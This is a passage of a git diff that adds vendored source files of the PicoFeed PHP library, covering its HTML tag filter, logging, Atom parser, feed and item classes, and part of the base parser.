+ * @param resource $parser XML parser
+ * @param string $name Tag name
+ * @param array $attributes Tag attributes
+ */
+ public function startTag($parser, $tag, array $attributes)
+ {
+ $this->empty = true;
+
+ if ($this->tag->isAllowed($tag, $attributes)) {
+
+ $attributes = $this->attribute->filter($tag, $attributes);
+
+ if ($this->attribute->hasRequiredAttributes($tag, $attributes)) {
+
+ $attributes = $this->attribute->addAttributes($tag, $attributes);
+
+ $this->output .= $this->tag->openHtmlTag($tag, $this->attribute->toHtml($attributes));
+ $this->empty = false;
+ }
+ }
+
+ $this->empty_tags[] = $this->empty;
+ }
+
+ /**
+ * Parse closing tag
+ *
+ * @access public
+ * @param resource $parser XML parser
+ * @param string $name Tag name
+ */
+ public function endTag($parser, $tag)
+ {
+ if (! array_pop($this->empty_tags) && $this->tag->isAllowedTag($tag)) {
+ $this->output .= $this->tag->closeHtmlTag($tag);
+ }
+ }
+
+ /**
+ * Parse tag content
+ *
+ * @access public
+ * @param resource $parser XML parser
+ * @param string $content Tag content
+ */
+ public function dataTag($parser, $content)
+ {
+ // Replace &nbsp; with normal space
+ $content = str_replace("\xc2\xa0", ' ', $content);
+ $this->output .= Filter::escape($content);
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Tag.php b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Tag.php
new file mode 100644
index 000000000..dbeffe7a4
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Tag.php
@@ -0,0 +1,173 @@
+<?php
+
+namespace PicoFeed\Filter;
+
+/**
+ * Tag Filter class
+ *
+ * @author Frederic Guillot
+ * @package Filter
+ */
+class Tag
+{
+ /**
+ * Tags whitelist
+ *
+ * @access private
+ * @var array
+ */
+ private $tag_whitelist = array(
+ 'audio',
+ 'video',
+ 'source',
+ 'dt',
+ 'dd',
+ 'dl',
+ 'table',
+ 'caption',
+ 'tr',
+ 'th',
+ 'td',
+ 'tbody',
+ 'thead',
+ 'h2',
+ 'h3',
+ 'h4',
+ 'h5',
+ 'h6',
+ 'strong',
+ 'em',
+ 'code',
+ 'pre',
+ 'blockquote',
+ 'p',
+ 'ul',
+ 'li',
+ 'ol',
+ 'br',
+ 'del',
+ 'a',
+ 'img',
+ 'figure',
+ 'figcaption',
+ 'cite',
+ 'time',
+ 'abbr',
+ 'iframe',
+ 'q',
+ );
+
+ /**
+ * Check if the tag is allowed and is not a pixel tracker
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param array $attributes Attributes dictionary
+ * @return boolean
+ */
+ public function isAllowed($tag, array $attributes)
+ {
+ return $this->isAllowedTag($tag) && ! $this->isPixelTracker($tag, $attributes);
+ }
+
+ /**
+ * Return the HTML opening tag
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attributes Attributes converted in html
+ * @return string
+ */
+ public function openHtmlTag($tag, $attributes = '')
+ {
+ return '<'.$tag.(empty($attributes) ? '' : ' '.$attributes).($this->isSelfClosingTag($tag) ? '/>' : '>');
+ }
+
+ /**
+ * Return the HTML closing tag
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @return string
+ */
+ public function closeHtmlTag($tag)
+ {
+ return $this->isSelfClosingTag($tag) ? '' : '</'.$tag.'>';
+ }
+
+ /**
+ * Return true is the tag is self-closing
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @return boolean
+ */
+ public function isSelfClosingTag($tag)
+ {
+ return in_array($tag, array('br', 'img'));
+ }
+
+ /**
+ * Check if a tag is on the whitelist
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @return boolean
+ */
+ public function isAllowedTag($tag)
+ {
+ return in_array($tag, $this->tag_whitelist);
+ }
+
+ /**
+ * Detect if an image tag is a pixel tracker
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param array $attributes Tag attributes
+ * @return boolean
+ */
+ public function isPixelTracker($tag, array $attributes)
+ {
+ return $tag === 'img' &&
+ isset($attributes['height']) && isset($attributes['width']) &&
+ $attributes['height'] == 1 && $attributes['width'] == 1;
+ }
+
+ /**
+ * Remove empty tags
+ *
+ * @access public
+ * @param string $data Input data
+ * @return string
+ */
+ public function removeEmptyTags($data)
+ {
+ return preg_replace('/<([^<\/>]*)>([\s]*?|(?R))<\/\1>/imsU', '', $data);
+ }
+
+ /**
+ * Replace <br/><br/> by only one
+ *
+ * @access public
+ * @param string $data Input data
+ * @return string
+ */
+ public function removeMultipleTags($data)
+ {
+ return preg_replace("/(<br\s*\/?>\s*)+/", "<br/>", $data);
+ }
+
+ /**
+ * Set whitelisted tags adn attributes for each tag
+ *
+ * @access public
+ * @param array $values List of tags: ['video' => ['src', 'cover'], 'img' => ['src']]
+ * @return \PicoFeed\Filter
+ */
+ public function setWhitelistedTags(array $values)
+ {
+ $this->tag_whitelist = $values ?: $this->tag_whitelist;
+ return $this;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Logging/Logging.php b/vendor/fguillot/picofeed/lib/PicoFeed/Logging/Logging.php
new file mode 100644
index 000000000..bc465ce7d
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Logging/Logging.php
@@ -0,0 +1,95 @@
+<?php
+
+namespace PicoFeed\Logging;
+
+use DateTime;
+use DateTimeZone;
+
+/**
+ * Logging class
+ *
+ * @author Frederic Guillot
+ * @package Logging
+ */
+class Logging
+{
+ /**
+ * List of messages
+ *
+ * @static
+ * @access private
+ * @var array
+ */
+ private static $messages = array();
+
+ /**
+ * Default timezone
+ *
+ * @static
+ * @access private
+ * @var string
+ */
+ private static $timezone = 'UTC';
+
+ /**
+ * Add a new message
+ *
+ * @static
+ * @access public
+ * @param string $message Message
+ */
+ public static function setMessage($message)
+ {
+ $date = new DateTime('now', new DateTimeZone(self::$timezone));
+
+ self::$messages[] = '['.$date->format('Y-m-d H:i:s').'] '.$message;
+ }
+
+ /**
+ * Get all logged messages
+ *
+ * @static
+ * @access public
+ * @return array
+ */
+ public static function getMessages()
+ {
+ return self::$messages;
+ }
+
+ /**
+ * Remove all logged messages
+ *
+ * @static
+ * @access public
+ */
+ public static function deleteMessages()
+ {
+ self::$messages = array();
+ }
+
+ /**
+ * Set a different timezone
+ *
+ * @static
+ * @see http://php.net/manual/en/timezones.php
+ * @access public
+ * @param string $timezone Timezone
+ */
+ public static function setTimeZone($timezone)
+ {
+ self::$timezone = $timezone ?: self::$timezone;
+ }
+
+ /**
+ * Get all messages serialized into a string
+ *
+ * @static
+ * @access public
+ * @return string
+ */
+ public static function toString()
+ {
+ return implode(PHP_EOL, self::$messages).PHP_EOL;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Atom.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Atom.php
new file mode 100644
index 000000000..feaf0e376
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Atom.php
@@ -0,0 +1,281 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+use SimpleXMLElement;
+use PicoFeed\Logging\Logging;
+use PicoFeed\Filter\Filter;
+use PicoFeed\Client\Url;
+
+/**
+ * Atom parser
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class Atom extends Parser
+{
+ /**
+ * Get the path to the items XML tree
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @return SimpleXMLElement
+ */
+ public function getItemsTree(SimpleXMLElement $xml)
+ {
+ return $xml->entry;
+ }
+
+ /**
+ * Find the feed url
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedUrl(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->url = $this->getLink($xml);
+ }
+
+ /**
+ * Find the feed description
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedDescription(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->description = (string) $xml->subtitle;
+ }
+
+ /**
+ * Find the feed logo url
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedLogo(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->logo = (string) $xml->logo;
+ }
+
+ /**
+ * Find the feed title
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedTitle(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->title = Filter::stripWhiteSpace((string) $xml->title) ?: $feed->url;
+ }
+
+ /**
+ * Find the feed language
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedLanguage(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->language = XmlParser::getXmlLang($this->content);
+ }
+
+ /**
+ * Find the feed id
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedId(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->id = (string) $xml->id;
+ }
+
+ /**
+ * Find the feed date
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findFeedDate(SimpleXMLElement $xml, Feed $feed)
+ {
+ $feed->date = $this->parseDate((string) $xml->updated);
+ }
+
+ /**
+ * Find the item date
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param Item $item Item object
+ */
+ public function findItemDate(SimpleXMLElement $entry, Item $item)
+ {
+ $item->date = $this->parseDate((string) $entry->updated);
+ }
+
+ /**
+ * Find the item title
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param Item $item Item object
+ */
+ public function findItemTitle(SimpleXMLElement $entry, Item $item)
+ {
+ $item->title = Filter::stripWhiteSpace((string) $entry->title);
+
+ if (empty($item->title)) {
+ $item->title = $item->url;
+ }
+ }
+
+ /**
+ * Find the item author
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemAuthor(SimpleXMLElement $xml, SimpleXMLElement $entry, Item $item)
+ {
+ if (isset($entry->author->name)) {
+ $item->author = (string) $entry->author->name;
+ }
+ else {
+ $item->author = (string) $xml->author->name;
+ }
+ }
+
+ /**
+ * Find the item content
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemContent(SimpleXMLElement $entry, Item $item)
+ {
+ $item->content = $this->getContent($entry);
+ }
+
+ /**
+ * Find the item URL
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ */
+ public function findItemUrl(SimpleXMLElement $entry, Item $item)
+ {
+ $item->url = $this->getLink($entry);
+ }
+
+ /**
+ * Genereate the item id
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemId(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ $id = (string) $entry->id;
+
+ if ($id) {
+ $item->id = $this->generateId($id);
+ }
+ else {
+ $item->id = $this->generateId(
+ $item->getTitle(), $item->getUrl(), $item->getContent()
+ );
+ }
+ }
+
+ /**
+ * Find the item enclosure
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemEnclosure(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ foreach ($entry->link as $link) {
+ if ((string) $link['rel'] === 'enclosure') {
+
+ $item->enclosure_url = Url::resolve((string) $link['href'], $feed->url);
+ $item->enclosure_type = (string) $link['type'];
+ break;
+ }
+ }
+ }
+
+ /**
+ * Find the item language
+ *
+ * @access public
+ * @param SimpleXMLElement $entry Feed item
+ * @param \PicoFeed\Parser\Item $item Item object
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public function findItemLanguage(SimpleXMLElement $entry, Item $item, Feed $feed)
+ {
+ $item->language = $feed->language;
+ }
+
+ /**
+ * Get the URL from a link tag
+ *
+ * @access public
+ * @param SimpleXMLElement $xml XML tag
+ * @return string
+ */
+ public function getLink(SimpleXMLElement $xml)
+ {
+ foreach ($xml->link as $link) {
+ if ((string) $link['type'] === 'text/html' || (string) $link['type'] === 'application/xhtml+xml') {
+ return (string) $link['href'];
+ }
+ }
+
+ return (string) $xml->link['href'];
+ }
+
+ /**
+ * Get the entry content
+ *
+ * @access public
+ * @param SimpleXMLElement $entry XML Entry
+ * @return string
+ */
+ public function getContent(SimpleXMLElement $entry)
+ {
+ if (isset($entry->content) && ! empty($entry->content)) {
+
+ if (count($entry->content->children())) {
+ return (string) $entry->content->asXML();
+ }
+ else {
+ return (string) $entry->content;
+ }
+ }
+ else if (isset($entry->summary) && ! empty($entry->summary)) {
+ return (string) $entry->summary;
+ }
+
+ return '';
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Feed.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Feed.php
new file mode 100644
index 000000000..77a6f0c97
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Feed.php
@@ -0,0 +1,188 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+/**
+ * Feed
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class Feed
+{
+ /**
+ * Feed items
+ *
+ * @access public
+ * @var array
+ */
+ public $items = array();
+
+ /**
+ * Feed id
+ *
+ * @access public
+ * @var string
+ */
+ public $id = '';
+
+ /**
+ * Feed title
+ *
+ * @access public
+ * @var string
+ */
+ public $title = '';
+
+ /**
+ * Feed description
+ *
+ * @access public
+ * @var string
+ */
+ public $description = '';
+
+ /**
+ * Feed url
+ *
+ * @access public
+ * @var string
+ */
+ public $url = '';
+
+ /**
+ * Feed date
+ *
+ * @access public
+ * @var integer
+ */
+ public $date = 0;
+
+ /**
+ * Feed language
+ *
+ * @access public
+ * @var string
+ */
+ public $language = '';
+
+ /**
+ * Feed logo URL (not the same as icon)
+ *
+ * @access public
+ * @var string
+ */
+ public $logo = '';
+
+ /**
+ * Return feed information
+ *
+ * @access public
+ * $return string
+ */
+ public function __toString()
+ {
+ $output = '';
+
+ foreach (array('id', 'title', 'url', 'date', 'language', 'description', 'logo') as $property) {
+ $output .= 'Feed::'.$property.' = '.$this->$property.PHP_EOL;
+ }
+
+ $output .= 'Feed::items = '.count($this->items).' items'.PHP_EOL;
+
+ foreach ($this->items as $item) {
+ $output .= '----'.PHP_EOL;
+ $output .= $item;
+ }
+
+ return $output;
+ }
+
+ /**
+ * Get title
+ *
+ * @access public
+ * $return string
+ */
+ public function getTitle()
+ {
+ return $this->title;
+ }
+
+ /**
+ * Get description
+ *
+ * @access public
+ * $return string
+ */
+ public function getDescription()
+ {
+ return $this->description;
+ }
+
+ /**
+ * Get the logo url
+ *
+ * @access public
+ * $return string
+ */
+ public function getLogo()
+ {
+ return $this->logo;
+ }
+
+ /**
+ * Get url
+ *
+ * @access public
+ * $return string
+ */
+ public function getUrl()
+ {
+ return $this->url;
+ }
+
+ /**
+ * Get date
+ *
+ * @access public
+ * $return integer
+ */
+ public function getDate()
+ {
+ return $this->date;
+ }
+
+ /**
+ * Get language
+ *
+ * @access public
+ * $return string
+ */
+ public function getLanguage()
+ {
+ return $this->language;
+ }
+
+ /**
+ * Get id
+ *
+ * @access public
+ * $return string
+ */
+ public function getId()
+ {
+ return $this->id;
+ }
+
+ /**
+ * Get feed items
+ *
+ * @access public
+ * $return array
+ */
+ public function getItems()
+ {
+ return $this->items;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Item.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Item.php
new file mode 100644
index 000000000..1731f5a29
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Item.php
@@ -0,0 +1,202 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+/**
+ * Feed Item
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class Item
+{
+ /**
+ * Item id
+ *
+ * @access public
+ * @var string
+ */
+ public $id = '';
+
+ /**
+ * Item title
+ *
+ * @access public
+ * @var string
+ */
+ public $title = '';
+
+ /**
+ * Item url
+ *
+ * @access public
+ * @var string
+ */
+ public $url = '';
+
+ /**
+ * Item author
+ *
+ * @access public
+ * @var string
+ */
+ public $author= '';
+
+ /**
+ * Item date
+ *
+ * @access public
+ * @var integer
+ */
+ public $date = 0;
+
+ /**
+ * Item content
+ *
+ * @access public
+ * @var string
+ */
+ public $content = '';
+
+ /**
+ * Item enclosure url
+ *
+ * @access public
+ * @var string
+ */
+ public $enclosure_url = '';
+
+ /**
+ * Item enclusure type
+ *
+ * @access public
+ * @var string
+ */
+ public $enclosure_type = '';
+
+ /**
+ * Item language
+ *
+ * @access public
+ * @var string
+ */
+ public $language = '';
+
+ /**
+ * Return item information
+ *
+ * @access public
+ * $return string
+ */
+ public function __toString()
+ {
+ $output = '';
+
+ foreach (array('id', 'title', 'url', 'date', 'language', 'author', 'enclosure_url', 'enclosure_type') as $property) {
+ $output .= 'Item::'.$property.' = '.$this->$property.PHP_EOL;
+ }
+
+ $output .= 'Item::content = '.strlen($this->content).' bytes'.PHP_EOL;
+
+ return $output;
+ }
+
+ /**
+ * Get title
+ *
+ * @access public
+ * $return string
+ */
+ public function getTitle()
+ {
+ return $this->title;
+ }
+
+ /**
+ * Get url
+ *
+ * @access public
+ * $return string
+ */
+ public function getUrl()
+ {
+ return $this->url;
+ }
+
+ /**
+ * Get id
+ *
+ * @access public
+ * $return string
+ */
+ public function getId()
+ {
+ return $this->id;
+ }
+
+ /**
+ * Get date
+ *
+ * @access public
+ * $return integer
+ */
+ public function getDate()
+ {
+ return $this->date;
+ }
+
+ /**
+ * Get content
+ *
+ * @access public
+ * $return string
+ */
+ public function getContent()
+ {
+ return $this->content;
+ }
+
+ /**
+ * Get enclosure url
+ *
+ * @access public
+ * $return string
+ */
+ public function getEnclosureUrl()
+ {
+ return $this->enclosure_url;
+ }
+
+ /**
+ * Get enclosure type
+ *
+ * @access public
+ * $return string
+ */
+ public function getEnclosureType()
+ {
+ return $this->enclosure_type;
+ }
+
+ /**
+ * Get language
+ *
+ * @access public
+ * $return string
+ */
+ public function getLanguage()
+ {
+ return $this->language;
+ }
+
+ /**
+ * Get author
+ *
+ * @access public
+ * $return string
+ */
+ public function getAuthor()
+ {
+ return $this->author;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/MalformedXmlException.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/MalformedXmlException.php
new file mode 100644
index 000000000..8464e9cac
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/MalformedXmlException.php
@@ -0,0 +1,13 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+/**
+ * MalformedXmlException Exception
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+class MalformedXmlException extends ParserException
+{
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Parser.php b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Parser.php
new file mode 100644
index 000000000..6954c2ffc
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Parser/Parser.php
@@ -0,0 +1,610 @@
+<?php
+
+namespace PicoFeed\Parser;
+
+use SimpleXMLElement;
+use DateTime;
+use DateTimeZone;
+
+use PicoFeed\Encoding\Encoding;
+use PicoFeed\Filter\Filter;
+use PicoFeed\Logging\Logging;
+use PicoFeed\Client\Url;
+use PicoFeed\Client\Grabber;
+
+/**
+ * Base parser class
+ *
+ * @author Frederic Guillot
+ * @package Parser
+ */
+abstract class Parser
+{
+ /**
+ * Config object
+ *
+ * @access private
+ * @var \PicoFeed\Config\Config
+ */
+ private $config;
+
+ /**
+ * Hash algorithm used to generate item id, any value supported by PHP, see hash_algos()
+ *
+ * @access private
+ * @var string
+ */
+ private $hash_algo = 'sha256';
+
+ /**
+ * Timezone used to parse feed dates
+ *
+ * @access private
+ * @var string
+ */
+ private $timezone = 'UTC';
+
+ /**
+ * Feed content (XML data)
+ *
+ * @access protected
+ * @var string
+ */
+ protected $content = '';
+
+ /**
+ * Fallback url
+ *
+ * @access protected
+ * @var string
+ */
+ protected $fallback_url = '';
+
+ /**
+ * XML namespaces
+ *
+ * @access protected
+ * @var array
+ */
+ protected $namespaces = array();
+
+ /**
+ * Enable the content filtering
+ *
+ * @access private
+ * @var bool
+ */
+ private $enable_filter = true;
+
+ /**
+ * Enable the content grabber
+ *
+ * @access private
+ * @var bool
+ */
+ private $enable_grabber = false;
+
+ /**
+ * Ignore those urls for the content scraper
+ *
+ * @access private
+ * @var array
+ */
+ private $grabber_ignore_urls = array();
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param string $content Feed content
+ * @param string $http_encoding HTTP encoding (headers)
+ * @param string $base_url Fallback url when the feed provide relative or broken url
+ */
+ public function __construct($content, $http_encoding = '', $fallback_url = '')
+ {
+ $this->fallback_url = $fallback_url;
+ $xml_encoding = XmlParser::getEncodingFromXmlTag($content);
+
+ // Strip XML tag to avoid multiple encoding/decoding in the next XML processing
+ $this->content = Filter::stripXmlTag($content);
+
+ // Encode everything in UTF-8
+ Logging::setMessage(get_called_class().': HTTP Encoding "'.$http_encoding.'" ; XML Encoding "'.$xml_encoding.'"');
+ $this->content = Encoding::convert($this->content, $xml_encoding ?: $http_encoding);
+
+ // Workarounds
+ $this->content = Filter::normalizeData($this->content);
+ }
+
+ /**
+ * Parse the document
+ *
+ * @access public
+ * @return \PicoFeed\Parser\Feed
+ */
+ public function execute()
+ {
+ Logging::setMessage(get_called_class().': begin parsing');
+
+ $xml = XmlParser::getSimpleXml($this->content);
+
+ if ($xml === false) {
+ Logging::setMessage(get_called_class().': XML parsing error');
+ Logging::setMessage(XmlParser::getErrors());
+ throw new MalformedXmlException('XML parsing error');
+ }
+
+ $this->namespaces = $xml->getNamespaces(true);
+
+ $feed = new Feed;
+
+ $this->findFeedUrl($xml, $feed);
+ $this->checkFeedUrl($feed);
+
+ $this->findFeedTitle($xml, $feed);
+ $this->findFeedDescription($xml, $feed);
+ $this->findFeedLanguage($xml, $feed);
+ $this->findFeedId($xml, $feed);
+ $this->findFeedDate($xml, $feed);
+ $this->findFeedLogo($xml, $feed);
+
+ foreach ($this->getItemsTree($xml) as $entry) {
+
+ $item = new Item;
+ $this->findItemAuthor($xml, $entry, $item);
+
+ $this->findItemUrl($entry, $item);
+ $this->checkItemUrl($feed, $item);
+
+ $this->findItemTitle($entry, $item);
+ $this->findItemContent($entry, $item);
+
+ // Id generation can use the item url/title/content (order is important)
+ $this->findItemId($entry, $item, $feed);
+
+ $this->findItemDate($entry, $item);
+ $this->findItemEnclosure($entry, $item, $feed);
+ $this->findItemLanguage($entry, $item, $feed);
+
+ $this->scrapWebsite($item);
+ $this->filterItemContent($feed, $item);
+
+ $feed->items[] = $item;
+ }
+
+ Logging::setMessage(get_called_class().PHP_EOL.$feed);
+
+ return $feed;
+ }
+
+ /**
+ * Check if the feed url is correct
+ *
+ * @access public
+ * @param Feed $feed Feed object
+ */
+ public function checkFeedUrl(Feed $feed)
+ {
+ $url = new Url($feed->getUrl());
+
+ if ($url->isRelativeUrl()) {
+ $feed->url = $this->fallback_url;
+ }
+ }
+
+ /**
+ * Check if the item url is correct
+ *
+ * @access public
+ * @param Feed $feed Feed object
+ * @param Item $item Item object
+ */
+ public function checkItemUrl(Feed $feed, Item $item)
+ {
+ $url = new Url($item->getUrl());
+
+ if ($url->isRelativeUrl()) {
+ $item->url = Url::resolve($item->getUrl(), $feed->getUrl());
+ }
+ }
+
+ /**
+ * Fetch item content with the content grabber
+ *
+ * @access public
+ * @param Item $item Item object
+ */
+ public function scrapWebsite(Item $item)
+ {
+ if ($this->enable_grabber && ! in_array($item->getUrl(), $this->grabber_ignore_urls)) {
+
+ $grabber = new Grabber($item->getUrl());
+ $grabber->setConfig($this->config);
+ $grabber->download();
+
+ if ($grabber->parse()) {
+ $item->content = $grabber->getContent() ?: $item->content;
+ }
+ }
+ }
+
+ /**
+ * Filter HTML for entry content
+ *
+ * @access public
+ * @param Feed $feed Feed object
+ * @param Item $item Item object
+ */
+ public function filterItemContent(Feed $feed, Item $item)
+ {
+ if ($this->isFilteringEnabled()) {
+ $filter = Filter::html($item->getContent(), $feed->getUrl());
+ $filter->setConfig($this->config);
+ $item->content = $filter->execute();
+ }
+ else {
+ Logging::setMessage(get_called_class().': Content filtering disabled');
+ }
+ }
+
+ /**
+ * Generate a unique id for an entry (hash all arguments)
+ *
+ * @access public
+ * @param string $args Pieces of data to hash
+ * @return string Id
+ */
+ public function generateId()
+ {
+ return hash($this->hash_algo, implode(func_get_args()));
+ }
+
+ /**
+ * Try to parse all date format for broken feeds
+ *
+ * @access public
+ * @param string $value Original date format
+ * @return integer Timestamp
+ */
+ public function parseDate($value)
+ {
+ // Format => truncate to this length if not null
+ $formats = array(
+ DATE_ATOM => null,
+ DATE_RSS => null,
+ DATE_COOKIE => null,
+ DATE_ISO8601 => null,
+ DATE_RFC822 => null,
+ DATE_RFC850 => null,
+ DATE_RFC1036 => null,
+ DATE_RFC1123 => null,
+ DATE_RFC2822 => null,
+ DATE_RFC3339 => null,
+ 'D, d M Y H:i:s' => 25,
+ 'D, d M Y h:i:s' => 25,
+ 'D M d Y H:i:s' => 24,
+ 'Y-m-d H:i:s' => 19,
+ 'Y-m-d\TH:i:s' => 19,
+ 'd/m/Y H:i:s' => 19,
+ 'D, d M Y' => 16,
+ 'Y-m-d' => 10,
+ 'd-m-Y' => 10,
+ 'm-d-Y' => 10,
+ 'd.m.Y' => 10,
+ 'm.d.Y' => 10,
+ 'd/m/Y' => 10,
+ 'm/d/Y' => 10,
+ );
+
+ $value = trim($value);
+
+ foreach ($formats as $format => $length) {
+
+ $truncated_value = $value;
+ if ($length !== null) {
+ $truncated_value = substr($truncated_value, 0, $length);
+ }
+
+ $timestamp = $this->getValidDate($format, $truncated_value);
+ if ($timestamp > 0) {
+ return $timestamp;
+ }
+ }
+
+ $date = new DateTime('now', new DateTimeZone($this->timezone));
+ return $date->getTimestamp();
+ }
+
+ /**
+ * Get a valid date from a given format
+ *
+ * @access public
+ * @param string $format Date format
+ * @param string $value Original date value
+ * @return integer Timestamp
+ */
+ public function getValidDate($format, $value)
+ {
+ $date = DateTime::createFromFormat($format, $value, new DateTimeZone($this->timezone));
+
+ if ($date !== false) {
+
+ $errors = DateTime::getLastErrors();
+
+ if ($errors['error_count'] === 0 && $errors['warning_count'] === 0) {
+ return $date->getTimestamp();
+ }
+ }
+
+ return 0;
+ }
+
+ /**
+ * Return true if the given language is "Right to Left"
+ *
+ * @static
+ * @access public
+ * @param string $language Language: fr-FR, en-US
+ * @return bool
+ */
+ public static function isLanguageRTL($language)
+ {
+ $language = strtolower($language);
+
+ $rtl_languages = array(
+ 'ar', // Arabic (ar-**)
+ 'fa', // Farsi (fa-**)
+ 'ur', // Urdu (ur-**)
+ 'ps', // Pashtu (ps-**)
+ 'syr', // Syriac (syr-**)
+ 'dv', // Divehi (dv-**)
+ 'he', // Hebrew (he-**)
+ 'yi', // Yiddish (yi-**)
+ );
+
+ foreach ($rtl_languages as $prefix) {
+ if (strpos($language, $prefix) === 0) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Set Hash algorithm used for id generation
+ *
+ * @access public
+ * @param string $algo Algorithm name
+ * @return \PicoFeed\Parser\Parser
+ */
+ public function setHashAlgo($algo)
+ {
+ $this->hash_algo = $algo ?: $this->hash_algo;
+ return $this;
+ }
+
+ /**
+ * Set a different timezone
+ *
+ * @see http://php.net/manual/en/timezones.php
+ * @access public
+ * @param string $timezone Timezone
+ * @return \PicoFeed\Parser\Parser
+ */
+ public function setTimezone($timezone)
+ {
+ $this->timezone = $timezone ?: $this->timezone;
+ return $this;
+ }
+
+ /**
+ * Set config object
+ *
+ * @access public
+ * @param \PicoFeed\Config\Config $config Config instance
+ * @return \PicoFeed\Parser\Parser
+ */
+ public function setConfig($config)
+ {
+ $this->config = $config;
+ return $this;
+ }
+
+ /**
+ * Enable the content grabber
+ *
+ * @access public
+ * @return \PicoFeed\Parser\Parser
+ */
+ public function disableContentFiltering()
+ {
+ $this->enable_filter = false;
+ }
+
+ /**
+ * Return true if the content filtering is enabled
+ *
+ * @access public
+ * @return boolean
+ */
+ public function isFilteringEnabled()
+ {
+ if ($this->config === null) {
+ return $this->enable_filter;
+ }
+
+ return $this->config->getContentFiltering($this->enable_filter);
+ }
+
+ /**
+ * Enable the content grabber
+ *
+ * @access public
+ * @return \PicoFeed\Parser\Parser
+ */
+ public function enableContentGrabber()
+ {
+ $this->enable_grabber = true;
+ }
+
+ /**
+ * Set ignored URLs for the content grabber
+ *
+ * @access public
+ * @param array $urls URLs
+ * @return \PicoFeed\Parser\Parser
+ */
+ public function setGrabberIgnoreUrls(array $urls)
+ {
+ $this->grabber_ignore_urls = $urls;
+ }
+
+ /**
+ * Find the feed url
+ *
+ * @access public
+ * @param SimpleXMLElement $xml Feed xml
+ * @param \PicoFeed\Parser\Feed $feed Feed object
+ */
+ public abstract function findFeedUrl(SimpleXMLElement $xml, Feed $feed);
+
+ /**
+ * Find the feed title
